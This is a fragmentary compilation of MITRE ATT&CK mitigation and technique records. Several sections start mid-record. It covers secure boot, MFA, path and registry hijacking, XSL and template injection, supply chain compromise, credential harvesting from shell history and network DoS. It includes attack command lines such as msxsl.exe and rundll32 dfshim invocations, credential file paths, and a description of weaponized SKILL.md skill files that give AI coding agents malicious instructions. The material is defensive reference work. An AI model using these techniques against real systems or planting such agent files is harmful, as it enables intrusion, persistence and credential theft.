This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n\nImplementation of Secure Boot:\n\n- Implementation: Enable UEFI Secure Boot on all systems and configure it to allow only signed bootloaders and operating systems.\n- Use Case: An adversary attempts to replace the system’s bootloader with a malicious version to gain persistence. Secure Boot prevents the untrusted bootloader from executing, halting the attack.\n\nUtilization of TPMs:\n\n- Implementation: Configure systems to use TPM-based attestation for boot integrity, ensuring that any modification to the firmware, bootloader, or OS is detected.\n- Use Case: A compromised firmware component alters the boot sequence. The TPM detects the change and triggers an alert, allowing the organization to respond before further damage.\n\nEnable Bootloader Passwords:\n\n- Implementation: Protect BIOS/UEFI settings with a strong password and limit physical access to devices.\n- Use Case: An attacker with physical access attempts to disable Secure Boot or modify the boot sequence. The password prevents unauthorized changes.\n\nRuntime Integrity Monitoring:\n\n- Implementation: Deploy solutions to verify the integrity of critical files and processes after boot.\n- Use Case: A malware infection modifies kernel modules post-boot. Runtime integrity monitoring detects the modification and prevents the malicious module from loading.\n\n## Principle\nAgainst T1195.003, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK M1031 Network Intrusion Prevention\n**ATT&CK M1031 Network Intrusion Prevention (full record).** Use intrusion detection signatures to block traffic at network boundaries.\n\n**Counters techniques.** - T1696 Anti-Automation Evasion\n- T1568 Dynamic Resolution\n- T1542.005 TFTP Boot\n- T1008 Fallback Channels\n- T1572 Protocol Tunneling\n- T1071 Application Layer Protocol\n- T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol\n- T1105 Ingress Tool Transfer\n- T1132 Data Encoding\n- T1568.002 Domain Generation Algorithms\n- T1102 Web Service\n- T1041 Exfiltration Over C2 Channel\n- T1104 Multi-Stage Channels\n- T1090.002 External Proxy\n- T1095 Non-Application Layer Protocol\n- T1204.005 Malicious Library\n- T1048.002 Exfiltration Over Asymmetric Encrypted Non-C2 Protocol\n- T1048.001 Exfiltration Over Symmetric Encrypted Non-C2 Protocol\n- T1557.002 ARP Cache Poisoning\n- T1573.001 Symmetric Cryptography\n- T1046 Network Service Discovery\n- T1557.001 Name Resolution Poisoning and SMB Relay\n- T1570 Lateral Tool Transfer\n- T1557.004 Evil Twin\n- T1204.001 Malicious Link\n- T1566 Phishing\n- T1071.003 Mail Protocols\n- T1204.004 Malicious Copy and Paste\n- T1557.003 DHCP Spoofing\n- T1566.001 Spearphishing Attachment\n- T1048 Exfiltration Over Alternative Protocol\n- T1204.003 Malicious Image\n- T1001.001 Junk Data\n- T1001 Data Obfuscation\n- T1090.001 Internal Proxy\n- T1204 User Execution\n- T1557 Adversary-in-the-Middle\n- T1602.002 Network Device Configuration Dump\n- T1602.001 SNMP (MIB Dump)\n- T1029 Scheduled Transfer\n- T1102.001 Dead […]\n\n## Reference: ATT&CK M1032 Multi-factor Authentication\n**ATT&CK M1032 Multi-factor Authentication (full record).** Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n\n- *Something you know*: Passwords, PINs.\n- *Something you have*: Physical tokens, smartphone authenticator apps.\n- *Something you are*: Biometric data such as fingerprints, facial recognition, or retinal scans.\n\nImplementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures:\n\nIdentity and Access Management (IAM):\n\n- Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles.\n- Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations).\n- Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra.\n\nAuthentication Tools and Methods:\n\n- Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP).\n- Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security.\n- Enforce biometric authentication for compatible devices and applications.\n\nSecure Legacy Systems:\n\n- Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet.\n- Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins.\n\nMonitoring and Alerting:\n\n- Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems.\n- Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations.\n\nTraining and Policy Enforcement:\n\n- Educate employees on the importance of MFA and secure authenticator usage.\n- Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.

This includes disabling USB ports, restricting driver installation, and implementing endpoint security tools to monitor and block unapproved devices. This mitigation can be implemented through the following measures:\n\nDisable USB Ports and Hardware Installation Policies:\n\n- Use Group Policy Objects (GPO) to disable USB mass storage devices:\n- Navigate to Computer Configuration > Administrative Templates > System > Removable Storage Access.\n- Deny write and read access to USB devices.\n- Whitelist approved devices using unique serial numbers via Windows Device Installation Policies.\n\nDeploy Endpoint Protection and Device Control Solutions:\n\n- Use tools like Microsoft Defender for Endpoint, Symantec Endpoint Protection, or Tanium to monitor and block unauthorized hardware.\n- Implement device control policies to allow specific hardware types (e.g., keyboards, mice) and block others.\n\nHarden BIOS/UEFI and System Firmware:\n\n- Set strong passwords for BIOS/UEFI access.\n- Enable Secure Boot to prevent rogue hardware components from loading unauthorized firmware.\n\nRestrict Peripheral Devices and Drivers:\n\n- Use Windows Device Manager Policies to block installation of unapproved drivers.\n- Monitor hardware installation attempts through endpoint monitoring tools.\n\nDisable Bluetooth and Wireless Hardware:\n\n- Use GPO or MDM tools to disable Bluetooth and Wi-Fi interfaces across systems.\n- Restrict hardware pairing to approved devices only.\n\nLogging and Monitoring:\n\n- Enable logging for hardware installation events in Windows Event Logs (Event ID 20001 for Device Setup Manager).\n- Use SIEM solutions (e.g., Splunk, Elastic Stack) to detect unauthorized hardware installation activities.

Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n\nCreate Comprehensive Training Programs:\n\n- Design training modules tailored to the organization's risk profile, covering topics such as phishing, password management, and incident reporting.\n- Provide role-specific training for high-risk employees, such as helpdesk staff or executives.\n\nUse Simulated Exercises:\n\n- Conduct phishing simulations to measure user susceptibility and provide targeted follow-up training.\n- Run social engineering drills to evaluate employee responses and reinforce protocols.\n\nLeverage Gamification and Engagement:\n\n- Introduce interactive learning methods such as quizzes, gamified challenges, and rewards for successful detection and reporting of threats.\n\nIncorporate Security Policies into Onboarding:\n\n- Include cybersecurity training as part of the onboarding process for new employees.\n- Provide easy-to-understand materials outlining acceptable use policies and reporting procedures.\n\nRegular Refresher Courses:\n\n- Update training materials to include emerging threats and techniques used by adversaries.\n- Ensure all employees complete periodic refresher courses to stay informed.\n\nEmphasize Real-World Scenarios:\n\n- Use case studies of recent attacks to demonstrate the consequences of successful phishing or social engineering.\n- Discuss how specific employee actions can prevent or mitigate such attacks.\n\n## Audit\nAuditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n\nAuditing is applicable to all systems used within an organization, from the front door of a building to accessing a file on a fileserver. It is considered more critical for regulated industries such as, healthcare, finance and government where compliance requirements demand stringent tracking of user and system activates.This mitigation can be implemented through the following measures:\n\nSystem Audit:\n\n- Use Case: Regularly assess system configurations to ensure compliance with organizational security policies.\n- Implementation: Use tools to scan for deviations from established benchmarks.\n\nPermission Audits:\n\n- Use Case: Review file and folder permissions to minimize the risk of unauthorized access or privilege escalation.\n- Implementation: Run access reviews to identify users or groups with excessive permissions.\n\nSoftware Audits:\n\n- Use Case: Identify outdated, unsupported, or insecure software that could serve as an attack vector.\n- Implementation: Use inventory and vulnerability scanning tools to detect outdated versions and recommend secure alternatives.\n\nConfiguration Audits:\n\n- Use Case: Evaluate system and network configurations to ensure secure settings (e.g., disabled SMBv1, enabled MFA).\n- Implementation: Implement automated configuration scanning tools like SCAP (Security Content Automation Protocol) to identify non-compliant systems.\n\nNetwork Audits:\n\n- Use Case: Examine network traffic, firewall rules, and endpoint communications to identify unauthorized or insecure connections.\n- Implementation: Utilize tools such as Wireshark, or Zeek to monitor and log suspicious network behavior.\n\n## User Account Management\nUser Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## Principle\nAgainst T1213.001, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## ATT&CK T1213.001 Confluence (full record)\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., Unsecured Credentials)\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\n## Reference: ATT&CK T1220 XSL Script Processing\n**ATT&CK T1220 XSL Script Processing (full record).** Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.\n\nCommand-line examples:\n\n* `msxsl.exe customers[.]xml script[.]xsl`\n* `msxsl.exe script[.]xsl script[.]xsl`\n* `msxsl.exe script[.]jpeg script[.]jpeg`\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch. […]\n\n## Reference: ATT&CK T1221 Template Injection\n**ATT&CK T1221 Template Injection (full record).** Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx,.pptx) to replace older binary formats (.doc,.xls,.ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the `*\\template` control word within an.rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an.rtf file is opened. However, adversaries may alter the bytes of an existing.rtf file to insert a template control word field to include a URL resource of a malicious payload.\n\nThis technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL search order hijacking, the search order differs depending on the method that is used to execute the program. However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument `net user`. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then `cmd.exe /C net user` will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\\unsafe path with space\\program.exe` vs. `\"C:\\safe path with space\\program.exe\"`). (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\\program files\\myapp.exe`, an adversary may create a program at `C:\\program.exe` that will be run instead of the intended program.\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.

These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1574.011 Services Registry Permissions Weakness\n**ATT&CK T1574.011 Services Registry Permissions Weakness (full record).** Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under `HKLM\\SYSTEM\\CurrentControlSet\\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions.\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service’s Registry tree. For example, the `FailureCommand` key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.\n\nThe `Performance` key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL. If the `Performance` key is not already present and if an adversary-controlled user has the `Create Subkey` permission, adversaries may create the `Performance` key in the service’s Registry tree to point to a malicious DLL.\n\nAdversaries may also add the `Parameters` key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the `Parameters` key of a given services registry configuration. By placing and configuring the `Parameters` key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.

The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution.\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows\n\n**Mitigations.** - **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.\n\nIn some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, Windows, macOS, SaaS\n\n**Sub-techniques.** - T1195.001 Compromise Software Dependencies and Development Tools: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise.\n- T1195.002 Compromise Software Supply Chain: Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise.\n- T1195.003 Compromise Hardware Supply Chain: Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise.

Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.\n\nAdversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process. To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references. Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers.\n\nAdversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates).

Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\n\nAdversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising)\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation.\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.

This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\nApplication Control:\n\n- Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution.\n- Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath \"C:\\Policies\\AppLocker.xml\"`)\n\nScript Blocking:\n\n- Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources.\n- Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`)\n\nExecutable Blocking:\n\n- Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories.\n- Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories.\n\nDynamic Analysis Prevention:\n- Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time.\n- Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution.\n\n## Principle\nAgainst T1218.008, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1552 Unsecured Credentials\n**ATT&CK T1552 Unsecured Credentials (full record).** Adversaries may search compromised systems to find and obtain insecurely stored credentials.

Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1552 Unsecured Credentials - Adversaries may search compromised systems to find and obtain insecurely stored credentials.

ClickOnce is a deployment that enables a user to create self-updating Windows-based.NET applications (i.e,.XBAP,.EXE, or.DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the.NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.\n\nAdversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1127 Trusted Developer Utilities Proxy Execution - Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads.

This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1498 Network Denial of Service - Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.

This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. […]\n\n## Reference: ATT&CK T1498.002 Reflection Amplification\n**ATT&CK T1498.002 Reflection Amplification (full record).** Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target. This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS and NTP, though the use of several others in the wild have been documented. In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.\n\n**Classification.** - Tactics: impact\n- Platforms: Windows, IaaS, Linux, macOS\n- Sub-technique of: T1498 Network Denial of Service - Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users.

